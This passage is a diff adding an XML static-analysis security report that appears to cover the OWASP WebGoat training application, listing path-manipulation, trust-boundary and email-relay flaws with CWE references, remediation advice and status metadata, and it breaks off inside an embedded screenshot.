+        constructed using user-supplied input. If an attacker is allowed to specify
+        all or part of the filename, it may be possible to gain unauthorized access
+        to files on the server, including those outside the webroot, that would be
+        normally be inaccessible to end users. The level of exposure depends on the
+        effectiveness of input validation routines, if any. The first argument to
+        !operator_javanewinit() contains tainted data from the variable fileName.
+        The tainted data originated from earlier calls to javax.servlet.http.HttpServletRequest.getHeader,
+        javax.servlet.ServletRequest.getParameterValues, javax.servlet.http.HttpServletRequest.getCookies,
+        and javax.servlet.ServletRequest.getParameterNames.\r\n\r\nValidate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible. When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/73.html)
+        \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\" note=\"\"
+        cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"LessonTracker.java\"
+        line=\"238\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.LessonTracker\"
+        functionprototype=\"LessonTracker load(WebSession, java.lang.String, Screen)\"
+        functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"39\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The first argument to !operator_javanewinit()
+        contains tainted data from the variable file. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"PathBasedAccessControl.java\"
+        line=\"136\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.PathBasedAccessControl\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"22\" categoryname=\"Encapsulation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Encapsulation is about defining strong security boundaries governing
+        data and processes. Within an application, it might mean differentiation between
+        validated and unvalidated data, between public and private members, or between
+        one user's data and another's.  \"/>\n<para text=\"In object-oriented programming,
+        the term encapsulation is used to describe the grouping together of data and
+        functionality within an object and the ability to provide users with a well-defined
+        interface in a way which hides their internal workings.  Though there is some
+        overlap with the above definition, the two definitions should not be confused
+        as being interchangeable.\"/>\n</desc>\n<recommendations>\n<para text=\"The
+        wide variance of encapsulation issues makes it impractical to generalize how
+        these issues should be addressed, beyond stating that encapsulation boundaries
+        should be well-defined and adhered to.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"501\" cwename=\"Trust
+        Boundary Violation\" pcirelated=\"false\">\n<description>\n<text text=\"A
+        trust boundary violation occurs when a program blurs the line between what
+        is trusted and what is untrusted.  This application mixes trusted and untrusted
+        data in the same data structure.  By doing so, it becomes easier for programmers
+        to mistakenly trust unvalidated data.  Without well-established and maintained
+        trust boundaries, programmers will inevitably lose track of which pieces of
+        data have been validated and which have not. This confusion will eventually
+        allow some data to be used without first being validated.  A common manifestation
+        of this flaw is in J2EE application, when a Session object is used to store
+        untrusted data from the HTTP request.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Trust Boundary Violation\" count=\"1\" issueid=\"246\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpSession.setAttribute\"
+        description=\"This call to javax.servlet.http.HttpSession.setAttribute() mixes
+        trusted and untrusted data in the same data structure, thereby encouraging
+        programmers to mistakenly trust unvalidated data. The second argument to setAttribute()
+        contains tainted data from the variable value. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        storing untrusted data alongside trusted data in the same data structure.
+        Establish and maintain trust boundaries for data storage.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/501.html)\r\n\r\n\" note=\"\"
+        cweid=\"501\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"22\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DefaultLessonAction.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DefaultLessonAction\"
+        functionprototype=\"void setSessionAttribute(session.WebSession, java.lang.String,
+        java.lang.Object)\" functionrelativelocation=\"64\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"472\" cwename=\"External
+        Control of Assumed-Immutable Web Parameter\" pcirelated=\"false\">\n<description>\n<text
+        text=\"The web application does not sufficiently verify inputs that are assumed
+        to be immutable but are actually externally controllable, such as hidden form
+        fields. Ruby on Rails provides convenient methods (new, create, create!, update_attributes,
+        update_attributes!) for easily creating or updating instances of an application's
+        model. Multiple attributes can be updated at once with the key/value pairs
+        of a hash. If this hash is created using data under an attackers control,
+        such as the result of an HTML form submission, additional values may be included
+        beyond those intended. If those additional keys match the names of attributes
+        on the model, they may be updated as well.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"274\" module=\"manual_analysis\" type=\"\" description=\"The
+        application send emails on behalf of the user. The contents of the message
+        and the delivery address are controllable by the client. \" note=\"\" cweid=\"472\"
+        remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\"
+        cvss=\"5\" capecid=\"6\" exploitdifficulty=\"2\" inputvector=\"to, subject,
+        msg\">\n<exploit_desc>An attacker could utilize this email to send SPAM messages
+        resulting in the SMPT relay to become untrusted among email service providers.
+        A sophisticated attacker could utilize this to conduct spear phising attacks.
+        The phising email could include links to pages within the application that
+        are vulnerable to open redirect or cross-site scripting, making the attack
+        extremely difficult for a user to detect.</exploit_desc>\n<severity_desc>Due
+        to other vulnerabilities within the application that would allow for a sophisticated
+        spear phising attack, the issue becomes more severe. A security aware user
+        could easily be tricked by the spear phising links since they would start
+        with the correct domain name.</severity_desc>\n<remediation_desc>Only send
+        emails to predetermined delivery addresses that are associated with the application
+        or with the current user. Do not allow the client to set the subject or other
+        smtp headers. Escape all client input with the same mechanisms used to escape
+        tainted data before display within an HTML context.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAl4AAAHgCAYAAAB0CWMeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAGIVSURBVHhe7Z2vtx3HsbYFP3hhqKGhYeiFgYGm/hMCQwMDLwwNNDQUDRQMNBUUNDyft+yxR+2qeqt6emZ6Zh6tdZak3b+qnqrueqf3Pue8e+MPBCAAAQhAAAIQgMAhBN4dscq33377xhcMyAFygBwgB8gBcmCvHHj//v0RkmbzGocIrxcMvmBADpAD5AA5QA6QA3vmwGZVdMAEhwivA/xgCQhAAAIQgAAEIDA9AYTX9CHCQAhAAAIQgAAE7kIA4XWXSOIHBCAAAQhAAALTE0B4TR8iDIQABCAAAQhA4C4EEF53iSR+QAACEIAABCAwPQGE1/QhwkAIQAACEIAABO5CAOF1l0jiBwQgAAEIQAAC0xNAeE0fIgyEAAQgAAEIQOAuBBBed4kkfkAAAhCAAAQgMD0BhNf0IcJACEAAAhCAAATuQgDhdZdI4gcEIAABCEAAAtMTQHhNHyIMhAAEIAABCEDgLgQQXneJJH5AAAIQgAAEIDA9AYTX9CHCQAhAAAIQgAAE7kIA4XWXSOIHBCAAAQhAAALTE0B4TR8iDIQABCAAAQhA4C4EEF53iSR+QAACEIAABCAwPQGE1/QhwkAIQAACEIAABO5CAOF1l0jiBwQgAAEIQAAC0xNAeE0fIgyEAAQgAAEIQOAuBBBed4kkfkAAAhCAAAQgMD0BhNegEL179+7t9cUfCEAAAhCAAAQg4BG4tVJYxNARoiizRmtPK9TaOdT/l6Cu57UCHXFQNs28dY6M79EcMvl0tE2sBwEIQAAC2wncVnhZhWvPGylVKD171jYpoeWtEQkvxUGtuT3F9plB+bXPqsfNqvLpOEtYCQIQgAAERhJ4lPBqwW29CarcFu0lvNbzZtbwGLS3Z+4VafOWarRmxp5I+EXiIyNMeuLriVgv1hnRm2FkCXBr7jvf8o082JgLAhCAwKwEbi+8VCH1BIe6CVLtSuC82pUwUaKqnaNa4C0blKBRfo9qjwSNx27NfJQde+VH1b6Mz7MeMtgFAQhAAAK/E7it8FoXqszNQbUQqv5bhZd1w7K+FbEEgSeavNsaxUjdeinhmBF2VY6jbubUuqPavRuq6vxWrDjIIAABCEDgegRuLbwqNyBKKPUUymh9dePlvfVkzRkJq6pfmRSO3u6qclL9lfjLtqt19m6vxiErojPxog8EIAABCMxD4LbCq70dUoV1EULejYoaX32LzhNemVui6NbHsnOLAM0Km1HcFEfl+152VOPv3Qb22qeE2zxHCpZAAAIQgEBE4LbCay1gem4PVKG15rfeCrREz/rGyApOZm1PuEVv/2XeGsxul0ggRTdiiltWeO0dXxUD1a7sq45X82XjRj8IQAACEDiXwK2F17lo77t6RRzdlwKeQQACEIAABOoEEF51Zo8fgfB6fAoAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCSC8qsToDwEIQAACEIAABDoJILw6wTEMAhCAAAQgAAEIVAkgvKrE6A8BCEAAAhCAAAQ6CSC8OsExDAIQgAAEIAABCFQJILyqxOgPAQhAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCSC8qsToDwEIQAACEIAABDoJILw6wTEMAhCAAAQgAAEIVAkgvKrE6A8BCEAAAhCAAAQ6CSC8OsExDAIQgAAEIAABCFQJILyqxOgPAQhAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCSC8qsToDwEIQAACEIAABDoJILw6wTEMAhCAAAQgAAEIVAkgvKrE6A8BCEAAAhCAAAQ6CSC8OsExDAIQgAAEIAABCFQJILyqxOgPAQhAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCdxeeH3zzTdv7VcVUqb/skamb7VPdm6vX3Z81S76QwACEIAABCBQI3Br4WUJjr1EyF7zvsKZnRvhVUt+ekMAAmMIfPOXv76tv0bM+ppvyx9v/GJnZu7RPmXWbPus/ajY3rMWY44hcFvhVREh6lZsPde67xKi7HhrrJpDzb1Ok5E+H5N+rAIBCFydQCsGRoiDrXNE47NzZ/vtGb8ZbNjTv6fO/Tjh9YeniV/fiowETCS2WuGUSaRWIKmbudE3Xtn5Mr7QBwIQeC6BjDDwbsPa15ebnUz/L87r1W3b63V1+7a2eYsN1k2Umjuyrb1ds/p6Ile9zq3ZXHsU4VUQXhlxZoXXurV6vZYVbVmhlL3xim7e5kpPrIEABGYmoIRXdBtWbfvtvPxVaK1FVvTvPzxsO+PVHBV727nU/z1hVFnTEn2K2cy5dWfbEF47Cy91m/V5Qxo2RCLPS8is8Fqvqda+c/LjGwQgsI3AUcLLu8ny1s++1dgrbJRIU0Irau8VUNlx2yLO6BEEHie8qm/zecIoM8/Wsb89rQhhpvpF4orbrxHbiDkg8EwCRwkvT1TcRXhl/cuKq0hQPjNT5/L6tsJri+jJiKpMn1E2ZG+lKjdePTdqc6Uu1kAAAjMQ6L01GjEuK1i+OO8mfatxebtxhLiqsJ0hh55mw62F11r49HxHYXSTFL2FuP78lmdDpo8ljtpxbcKqz5NlmTxtI+AvBCDQTyD7ofHoQ97qlsZbY/26J7BGCK/PZ6fzYzOsm7esP7/VmcTc3pyVtdQtZX8WMDJL4PbCKwuCfhCAAAQgAAEIQGBvAgivvQkzPwQgAAEIQAACEPiVAMKLVIAABCAAAQhAAAIHEUB4HQSaZSAAAQhAAAIQgADCixyAAAQgAAEIQAACBxFAeB0EmmUgAAEIQAACEIAAwuugHHj3DtQHoWYZgwD5d5+0IJb3iSWePJPAbdVAezip/+8dfg7LvQnX5h8Rj9cc3lfNmv17Z/xd+9JapPaPNf8yn+Vdy23dJ2rbn9R8K2Rid7bV1j6wYrq81uaGlytRTr7mquTRFTieHUfWP4YAwusYzp8PCP7MQ2B0PEbPN5qUsq8qrFT/dVFUIm7puy7KbdEezeNK86nYne2LJZqUsFLtrUDLCvt1v+waZ/Nj/ecRuLUaWDah97f3lB2lgSo43hNaeyBEhUU95WULVMYWr+hFtxXtk2aGo/VkGtnXtkVMKvNET8lZ7lZ+eMWxMmfGD491VJgyscz4VN1P2TxVwiwSHiP244g9MGp/R3nf8lfixNpzmb1aLYN7Ca/1vJk1rDyKhFjVT/pDYBQBhNfPJNXhrUSSFwzvMI7Wq9iyLhhqXLYwqCLdFqmsDaPs84qkVeRHclYbzhM+Ue5k2np9ULy3rO0JMG/OSBRWBJ/aZ8rnI/ZAtD+qbRnhOio/VH5H7VlR5Akp78zJCq9WrLaC1Pv/Fp8ZC4EtBBBevwov9XRoFZWooLSHSfXQ9w6TNthtERx9WGcK49Y1K2LK6uvFrlqUrHhmN9cI4ZXJp0oeZcSVJQZUPEcIr6gYVvbi2v6RwkvFvZpbrb/W/o4ESFbUVvJjS7639lg8vNfa+PYKryX20f6v5pKKO+0QGEEA4fWr8KrA3Cp2Koe2smurLUr0XEF4eYx6OHtFIBuHSOxkCl0k2D3RbQklJUIyosybQwmvbGHNiokse+VzRZRk16yyH5EDvX5Ewl75G7VbeyZ6rbVf9c2KJ2vvZHhv8Z2xEOghcGvh1YoK6//ZPqroqXlGHpYjbRkhvDLib1RRVPb2ch4hmFRcskWg14fsuIyY9mxVcczsMU8AWCIme6ipObfkTZVXRfBnOPfOl4mVF68s92W8tVZG6FmiKzunWtObu+IbfSGwBwGE169U109VGdDRgWnN5R0S6mlvlC2WKMjY6a3v8Ypez4obVTAiltk12sM9in9GMGXyIYqlWt/LE+VvJa8zfVVsMsJrzT7j1xX2wIj9nckBi2/PnsvEOsN9LZbXc6r90I7zzqc2v3s4V/ygLwSOIHB74XUExLPXyAiDs21kfQjsSeDsPXD2+nuyZW4IQGAsAYTXWJ6Hz8aBfzhyFpyMwAx7YAYbJgsL5kAAAg4BhBepAQEIQAACEIAABA4igPA6CDTLQAACEIAABCAAAYQXOTA1gfVbOEe8nXPEGhXgs9lTsT3Td5R/o+bJ2EyfexGIzhjrmz96vR+ZoyPn6vWHcf0EEF797KYfeYfNubcPme/S6wm0mjfrV6Zf5rvJqj6odVV7dr3Z5snaPbrfKA6j7crOp75L0vKvzdtWAFXzutrf8m3PB70oxlXbr54v2by6az+E110j+7Nfd9ice/ugBFJveqh5s36pfl5B67V7Gdezbs+aap3snKPmya43ut+V7Y9yXQmyNcctomfUPthig8oJJbw8FkogqnVpn4/ArYWXt+mXDbC0e2GJxltjraeWzBytPd4hkl3z5Y/3BJU5CD0+0VhvvdYW63Bp/YpsXwuDXnuiOSI/Il+iw3HNc5mj7V/Jk6w4svzMrFth0BYqb0+pvZg5GlWOtblVtUXlqjovFO/MnszwzJ5fGaYj+rTnlXd+RWtl5ojOaeVHNH/LvOf8zJyZFhdvL6saEM2lWNB+PoHbCi+10VTieuPVvJawsDaXOmisw6A6j1pDCc5RvnjzWIUsyzfbzxM62QMvG4ctwqvXF5XDlu/Zw1/NrXIry02t05ODyrYoH6M4ZgTvqFiqeSrc9i4zGd7KXmuO5Xyojq3G0MtV5Vc7rtLfegDK5ro60/aON/NvJ/BY4aXQeZtdHYjZzVPZpOsDqBUrVXvUIeZt6l4b1NNj5QDqLeZZsaGESsRgq/Bq584Iw6hYZcZXY5PN7ZZjJUejfZmdR8UpYm3lipqv5TI6lmrPq7PsiHbP5x6xmhFOKhcVs4zYqp7RlbPM6hsJTWXLETFmjXEEEF4Oy9mElxfybDGyikN2TvWEVbEhEk8Z4ZMRFJVDSvVV9maEwjJH+3dPUcrYM0KgKoG+hVvGh0zxzRTPnmKoinYm5lvsr+63ceVgzEyeeK2cNypukfCy9lX2jMrunTZGGZ+jPaX2hNpvYyLHLEcRQHglhVemaKrNMWpTZ+fJbvTMIZc9uNSBtOWA6fW7wqHXz2xRqR7QlZzaUnBU3FSO9HJT/kUFNiu8snnjrbWHjYp3hedRxSKzjrfXtr5efRCo8O3JIzW/JZ5HnUNKmGfiRJ9zCdxWeC3J2T69VpJ2GWsdgpl5K4enOtwjW1RxWotGy25VVNcF3Ru/ti/ipYRXG7cth6LHzPJ3zSjDUxUCSwRFuZfJtah4Rb5m27y4RaKyjU8mPxRftV5272Vs2Wq/ZeuIvTri/DqytGRZq3OuzY3MeWWdT9Ze8c6o7BnTE5PoXIz2gSfcsmfakbFnrTqBWwuvOg5GjCCQFSUj1srMMZs9GZuf2ieKFXF8albgNwTuRQDhda94nubNbE9is9lzWmAutLASVqr9Qq5iKgQg8GACCK8HBx/XIQABCEAAAhA4lgDC61jet16t90aid9xomKPsqMxT+QzLaH+9+Sr2H2XTTOuc9XZo5bNIC6/ZYzm7fTPlHbbchwDC6z6xHOZJ72F49Liqw+0HXdu3I3vtr9oxW1E82u9eXlcYdxRLT4S1jI60Z+vb+1ttjdbvbbtCzmHj9QggvK4Xs90t7j0Ajx63BYRla6/9vXYcvR43XL2Ryo87KqYzCa9Re2kLu3ZsxCfblo86PSFQI3Bb4RVtxBci7wkos4GXsVEhs/pEa1q3L2qOxdaep7n1mPYgsubLPM16c65veDyf1iwzsckWnorY6LU/umUYxbmNdZvDvblg2WftgWwuZnlX1mhzI7PvvH3c+pHJtYW1d1MZ5U1m30Tze3mezf9ROR2VlZa1unWzbM/sk0ppi/hk2yrr0RcCFQK3FV7rw8w7hK2DNOprFZ/sIaPmjYpL5aDI9t1iT09xza7X008d/Ja91pjs2m2hVMLLi201Lyv9j7BR2eNxUeOyOZzde2uROmKfZe1TfmbyYoTwyqyj8kUVlehszO4rxSuzzy07sutvZaAY0Q6B3zTHnVEsG66yoSubNFvQrQ2dPbzbsVVfloOoPZAqfmYEZ8bHjC0Zu9q4Zg5kVaS32H+U8FI+ZHJjHQPrwaOSb2q92YRXL79MTlos23yP8tTL6b2Fl7cne+vCFuFjce61L3u+VnO4lwvjIPDFA9CdcSC8/AvNSjFZF5VM8fCKkJdr1UPyLOGV3StVf3oEkBKKowRUJU+UAB69HytCyrJNFd2MvRU+Uf6cJbyyOV3t17MHVDwqNvSsb+2pypr0hUCWwK3favQ2UuWwjDawBdmbu3fNSgGt9K3Y84VSfzdGzGWe5KviwhMwmTiptSpFYdShr3JP2TTCjkqeKOE1ej/uLbwy9o7k0xvPUQ9Dmfj17KUso4r/W2Kf3RfZIko/CFQJPFJ4LQfqawN6T8JLmyp+3kFkzW3NqQp+RUx5c3m2RIJqPcaz2zr8or4V/6PYKCGYKSBe3DNM1PzZg13lXtXPTOGKYrCMt+bpyaFske7dj5X882KmcjubJ4qrypkt54ASXj17slxIfj1Lt56p7XgVn3aPZNaP8qbqN/0h0EPgscKrBxZjIACBbQQyAqR3hT3n7rWJcRCAAAT+IPbvjISD+M7RxberEdh7P+49/9V4Yy8EIDAngdvfeM2JHasgAAEIQAACEHgiAYTXE6OOzxCAAAQgAAEInELgtsLriLcdog9RZ6N5hJ1ZW6J+I3wdYcfsc1wlnh5H4jx7ht3Pvj32jPqGg/tRxKMrEUB4bYjWiCK1x6GzwSV36N527j1/L5P1d1XNaqPlW6/dV/KxN6aM24fATDl3RB5b30EZfVem9x2XmWio7+70/FXjXmursRn76FMjgPCq8fqiN8JrA7xm6BEHZY+1rV2z2tn61mv3VfzriSVj9iNg5U02l7L9KtbvMae1x6x9pupC1bZoL0fCKnMGeGKwamMlNvT9WezeFYJ6+vIStjIu2mBqQ2SeRJankWhzRE9d3qHgbch2Lo9F6/dWX6N1PN+9Q1AdNlbMojXUobeOUfv0mLGlEls135qJ6hvl/zJPJn/UOnc9X/DrdwLZIt2bc+t8bOfoOcczeZ2J7zKP97e6TcqsYfWxeGdei8796OzotZNxPoFbC69sMlnF2Co+mSJsbbbs/CpRM/P0bC6r+B/tqyrg0eGetdUSRqpoqLlV+145uNVuzy4vxzJ+KptUftN+TQKZuGfyZ+vZmTkfIzGk2qyHvfWYVoDtIbw81lXhpVh5gvaaGTqf1Y8VXuvEUkkY3QB4Aq1nfu/pxtoElQ1YPdAq/bMHqjrUzhJeakt6cfT8yQrfZXwlttYh79lfsTsjtjLCN1OAFW/ar0cgE/fsOZHtVzmjrAeu9sGjR2hs2TcZZp7Q8+qE6m8JQ8VRndvXy9Y5LH6k8Ord3NlxmSLlibn2QPD+j/D6nUw2LuoAzh5oUeyywqtis5UD6uDuzcFMMfEOeGXTHEceVowmkIl7Nt+z/ZRgyM6jHvgiVpm9Uj2noweprC3e+bQWXu2DmecLwmv0bvllPoTXC8LqFz9nN2xUxHvnyD6xRIdOT+G3DoesD9l+agOrA3CEkDhDeHl+b+HWU+h6BH12X0Sxzdi6z9HGrEcSUGdINt+z/Y4SXpVzxxI8ikv0EJdpi/qoM1UJtMr6R+baHdZ6pPBaNu1a9VeSMDtu6WcJKmsOK6HaJ5O2gFpreHNHr1fWrhbkqq/rWHgMI6ZZ3hlRUD14swdtlINtmxLkXuyiAyqTC9bBHeV0jx13OETx4RcC0VkV5XSUZ9Wzxjo7lABRZ6wXX+9saG1WXBY20TreHO3rlT2rRFv27CX/6wRuK7zqKBixN4GM0NnbhjvMPyPHGW26Q6zx4VwC5PW5/O+6OsLrrpGdxK/sbdck5n5hhvU0yWvv/nCzoZ66Z4wtNkFAEUB0KUK09xJAePWSYxwEIAABCEAAAhAoEkB4FYHRHQIQgAAEIAABCPQSQHj1kmMcBCAAAQhAAAIQKBJAeBWB0R0CEIAABCAAAQj0EkB49ZJjHAQgAAEIQAACECgSQHgVgdEdAhCAAAQgAAEI9BJAePWSYxwEIAABCEAAAhAoEkB4FYHRHQIQgAAEIAABCPQSQHj1kmMcBCAAAQhAAAIQKBJAeBWB0R0CEIAABCAAAQj0EkB49ZJjHAQgAAEIQAACECgSQHgVgdEdAhCAAAQgAAEI9BJAePWSYxwEIAABCEAAAhAoEkB4FYHRHQIQgAAEIAABCPQSQHj1kmMcBCAAAQhAAAIQKBJAeBWB0R0CEIAABCAAAQj0EkB49ZJ74LgfP358e//+P2/ff/8DXzDYlAOvPHrlE38gAAEIPI0AwutpEd/g78ePn94+ffppwwwMhcAvBF559OOPCC/yAQIQeB4BhNfzYt7t8Ut48QcCowggvEaRZB4IQOBKBBBeV4rWybYivE4OwM2WR3jdLKC4AwEIpAggvFKY6PQigPAiD0YSQHiNpMlcEIDAVQggvK4SqQnsRHhNEIQbmYDwulEwcQUCEEgTQHgZqN69i7Go9jT9i3WMhNeLyfrrYq6VzN0af2989fXW6Kxds8QK4VVKOzpDAAI3IXBr4dVbYLIFrDcH9p6/1y41zhNelj9X9XFhsFUERSyrc2dZZvodEauMHS8+CC+142iHAATuSOC2wmtLgckWjt6E2Hv+XrvUOEt4Rb5c1c8Xh6o4UuzW7dW5sxxVv6NipexYWCC8KllDXwhA4C4EHiW8ouK3LhbRTdnS1s5lvb4U8HWbN3e2WJ2ZeFXh5TFqfV3+3zL0WK+5rm+oPLG9Zm7lgLeuZWfUN/KrjVu2b2SD4ui1Z3Io2gNtXnt7R62D8FKEaIcABO5I4LbCyyrOFeE1om+2uEY3LDMlXa/w8gSRJ5oscdPbNxI8ah2LfSsyKvNncioSS1WObV5lxX1mHeV3Jm8RXhlK9IEABO5G4NbCK7oNqRQ41bd6i5UtgLMl257CKyNKLIGqYlMRCEpUZYRMZo51XkY+ZW6s1HqZ9kiAtra2e8q6TczmN8Jrth2OPRCAwBEEHiG8rOJRKdiVvpGA8IrYEYEescYVhVcriiMhokTKDMKr4k/G3szeyMyTYdfmIMJrxK5kDghA4GoEbiu8qm+XZAuyKkKZeZRtsyZRVXgtfip/1c1OhmlWQPTerGXnrwgQj4963cuPKmePRc88Fb+XdRFes+507IIABPYkcFvhtQgk662QdRH13ipR49qi1b5dY61hjbnSLVjvj5OoFvLKDWOl7xbRvIfwau2JRKHXtxU8FRHb5miUi0pYqXbrEEN47Xm0MzcEIDArgVsLr72gW0Jir7VmmnfLD1Bt3yLL3jxVxJIlTkat64mSyvxWLL1cil73HgrWN2Xeg4D3QGIJNvXw0bZXxRfCa6bdjS0QgMBRBBBeBdJRMStMc9mu/Mqgy4ZuSsMRXlOGBaMgAIGdCSC8dgZ8p+kRXneK5vm+ILzOjwEWQAACxxNAeB3P/LIrIrwuG7opDUd4TRkWjIIABHYmgPDaGfCdpkd43Sma5/uC8Do/BlgAAQgcTwDhdTzzy674El6fPv10WfsxfB4CrzxCeM0TDyyBAASOI4DwOo715Vf66aef3j5++sQXDIbkwCuf+AMBCEDgaQQQXk+LOP5CAAIQgAAEIHAaAYTXaehZGAIQgAAEIACBpxFAeD0t4vgLAQhAAAIQgMBpBBBep6FnYQhAAAIQgAAEnkYA4bVjxJ/6q4V2RMrUEIAABCAAgUsTuL3win7f3OjI3UFoRb97cDSvPee7Qyz25MPcEIAABCBwDoFbCy/rF//uifnqxd6y/6o+XdXuPfOTuSEAAQhA4HwCtxVeXuFdv66EWXRb1rZZN0XW/NYv2la3TNlbO6/fYkf0S76zQiVaI2KyTnWPlWdfZc3XOh5Pxef87YgFEIAABCBwdwIIr1WEs6IsI+oWAbBMH4m8SpuXkGoOJaxUe+tPxb+9+iqfW7GXZXf3TY9/EIAABCBwHgGEVyC81M1JG7ZeIaDGjRZFVrqNXkP5FImiVgBHcfDm8W4bz9tqrAwBCEAAAhD4+V2Zu0LI3EpVxIEnVnpvybLj1jdmkTga4YvKhcoae/WtCLZMzJTPtEMAAhCAAARGErit8HpBioq/aldj14LI+nc7/xYh4s2/VYS0iWQJu6xAVLyy84zi1itSR24u5oIABCAAAQj8odbeHcn6baroBmTp14qZyuuLaFiKvvd2V1WkWDYoXyJRFsXce1tvLf48Jr1CMMOjd811LDyOkUi7+/7APwhAAAIQOJbArW+8esXHsSFgNQhAAAIQgAAEnkLgMcKrvY16SoDxEwIQgAAEIACBeQg8SnjNgx1LIAABCEAAAhB4IgGE1xOjjs8QgAAEIAABCJxC4JbC68ePH9/ev//P2/ff/8AXDMgBcoAcGJQDr3P1db7yBwIQ6CdwS+H18eOnt0+ffuqnwkgIQAACEPgDgde5+uOPCC9SAwJbCNxWeG2BwlgIQAACELAJILzIDAhsI4Dw2saP0RCAAAQuQeDjz28Rvr4+fXq9I/Dl108//fT5tdff1terbfmD8LpEuDFyYgIIr4mDg2kQgAAERhFAeI0iyTwQ2EYA4bWNH6MhAAEIXIIAwusSYcLIBxBAeD0gyLgIAQhAAOFFDkBgDgIIrznigBUQgAAEdiWA8NoVL5NDIE0A4dWgUr+QWrWnydNxNwIz/NLrKE/2tI/87Eurkdz2jG+fd7+MQnhtocdYCIwjgPAyWKqDU7WPC8+zZrob19H+ZOfL9rtadm31S41X7V